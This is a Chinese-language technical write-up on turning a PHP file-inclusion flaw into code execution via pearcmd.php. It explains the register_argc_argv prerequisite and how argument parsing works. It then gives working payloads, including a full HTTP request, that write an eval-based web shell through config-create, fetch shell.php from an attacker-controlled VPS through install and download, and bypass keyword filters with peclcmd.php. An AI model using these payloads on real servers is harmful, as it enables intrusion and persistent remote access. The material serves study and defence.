关于pearcmd.php的利用
关于pear
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear
才会安装
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
要利用这个pearcmd.php需要满足几个条件
- 要开启
register_argc_argv
这个选项(在Docker中自动开启) - 要有文件包含的利用点
- 确定pearcmd.php的位置,通常为/usr/local/lib/php
register_argc_argv
如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On
当开启了这个选项,用户的输入将会被赋予给$argc、$argv、$_SERVER['argv']几个变量。
也就是说:当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效
前置知识
pear会在pearcmd.php获取命令行参数:
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();
$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}
pearcmd.php使用readPHPArgv()获取命令行参数:
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
这里会先尝试$argv
,如果不存在再尝试$_SERVER['argv']
,后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数
而这样获取参数,与正常获取参数略有不同,可以自行在本地搭建尝试,我搭建时的代码为:
<?php
function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
throw new Exception("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
// 调用函数获取参数
try {
$arguments = readPHPArgv();
// 输出获取到的参数
print_r($arguments);
} catch (Exception $e) {
echo 'Error: ' . $e->getMessage();
}
?>
经过尝试,可以得出不同之处:
1.&符无发分割参数,真正能分割参数的是加号
2.等号无法赋值,而是会直接被传进去当作参数。
而pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用
pear命令有很多:
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
利用
config-create
这个方法有两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中:
config-create: must have 2 parameters, root path and filename to save as
利用payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
或
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/test.php
则数据包为:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
发送这个数据包,目标将会写入一个文件/tmp/hello.php
,其内容包含<?=phpinfo()?>
,这里写入文件的内容应该是/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>
一整句话,另外,直接写入<?=@eval($_POST['cmd']);?>
可能会在输出的时候重复输出很多次,可以多加一个die:
<?=@eval($_POST['cmd']);die()?>
成功写入文件后,利用文件包含漏洞包含该文件即可实现getshell
install
除了上面的方法我们还可以使用install方法:
pear install http://[vps]:[port]/test1.php
这里是在vps上下载test1.php至本网站
所以,可以从外面将shell文件下载进来然后进行getshell,install
有--installroot
这个选项可以指定他的安装目录,这里可以构造payload远程下载我们的文件了
payload如下
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/shell.php
或
/?file=/usr/local/lib/php/peclcmd.php&+install+http://vps/shell.php
不难看出这串payload所下载的文件的保存地址在 &file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/路径下面,这里可能会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php&的文件夹是新创建的,而用户并没有权限对其进行写操作,会导致利用失败
但是,除此之外install命令还有另外一种利用的姿势,payload如下:
file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://[vps]/shell.php
download
这个比上面install舒服点,这个直接下载到web目录了,不用提前知道web目录具体路径
先看用法:
pear download [option] [package]
这里的option只有一个-Z, --nocompress,下载一个未压缩的tar包
这里可以这样使用:
pear download http://[vps]:[port]/test1.php
所以payload可以构造为:
/?file=/usr/local/lib/php/peclcmd.php&+download+http://vps/1.php
或
?+download+file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php&
对payload构造的思考
不难发现每个方法的payload都有两种构造方法,这其中有什么值得研究的呢?
首先看这个payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
这个payload最终存储在$argv中的数组格式为:
Array ( [0] => [1] => config-create [2] => /&file=/usr/local/lib/php/pearcmd.php&/%3C?=phpinfo()?%3E [3] => /tmp/hello.php )
可以看见在config-create前面存在一个加号,这使得数组的第一个键为空,经验证,去掉这个加号后,payload就失效了,这里引发了笔者思考:为何要加这个空键呢?
事实上,在pearcmd.php中,在分析存储$_SERVER[‘argv’]所有参数的数组$argv时,直接对argv[1]进行分析而不是argv[0](在本文第一个代码块中可以看见)
笔者认为,这里对payload进行构造时,重点在于将要调用的pear命令控制在数组的第二位,而剩下两个参数遵循当前pear命令的先后放入数组即可(对比本文所有payload均遵循这个构造原则)
观点仅代表个人,欢迎斧正(本人技术不够)
被ban?
如果pearcmd关键词被ban,可以用peclcmd.php作为平替,在这个php文件当中其实就是引入了pearcmd.php:
if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') {
ini_set('include_path', '/www/server/php/52/lib/php');
$raw = false;
} else {
// this is a raw, uninstalled pear, either a cvs checkout, or php distro
$raw = true;
}
define('PEAR_RUNTYPE', 'pecl');
require_once 'pearcmd.php';//这里包含了pearcmd.php